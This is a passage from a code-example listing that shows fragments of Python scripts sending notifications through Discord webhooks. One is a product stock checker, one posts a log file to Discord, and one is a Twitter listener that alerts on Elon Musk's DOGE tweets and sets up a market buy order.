                'js-stockStatusCode').get_attribute('innerText') == 'inStock'
            driver.find_element_by_id('addToCartButton').click()
            print(' ----------------- | Item is in stock | ----------------- ')
            print(' ------------- | Attempting to add to cart | ------------- ')
            webhook.post(
                username="******",
コード例 #15
0
#Color for the webhook
#red = 1671168
#green = 65280
color = sys.argv[4 + i]

#Message that allows mentiones outside of the webhook
message = sys.argv[5 + i]

#Title of the webhook
title = sys.argv[6 + i]

#Combine the logfile with the logurl
logfile = logurl + logname

#Setup Discord webhook link
discord = Discord(url=webhookurl)

#Send the JSON to the webhook and a message
if sys.argv[1] == "-w" or sys.argv[1] == "-aw":
    totallength = 0
    #The max character length of the logfile that gets added
    maxlength = 1500
    description = "**Logfile:**\n"
    file = open(logfile, 'r')
    lines = file.readlines()
    file.close()
    #Read all lines and add them to the description
    for line in lines:
        if totallength <= maxlength:
            totallength += len(line)
            if line != "\n":
コード例 #16
0
parameters = {
    "market": "DOGE-USD",
    "side": "buy",
    "price": None,
    "type": "market",
    "size": 10,
    "reduceOnly": False
}

# Twitterオブジェクトの生成
auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
auth.set_access_token(access_token, access_token_secret)
api = tweepy.API(auth)

#discordのウェブフック
discord = Discord(url=discord_webhook_url)


class MyStreamListener(tweepy.StreamListener):
    async def on_status(self, status):
        if 44196397 == status.user.id and "DOGE" in status.text:
            if discord is not None:
                discord.post(content="Elon Musk mentioned DOGE!! \n" +
                             status.text)
            else:
                pass
            if FTX_API_KEY == None or FTX_API_SECRET == None:
                print('no env')
                sys.exit(1)

            else: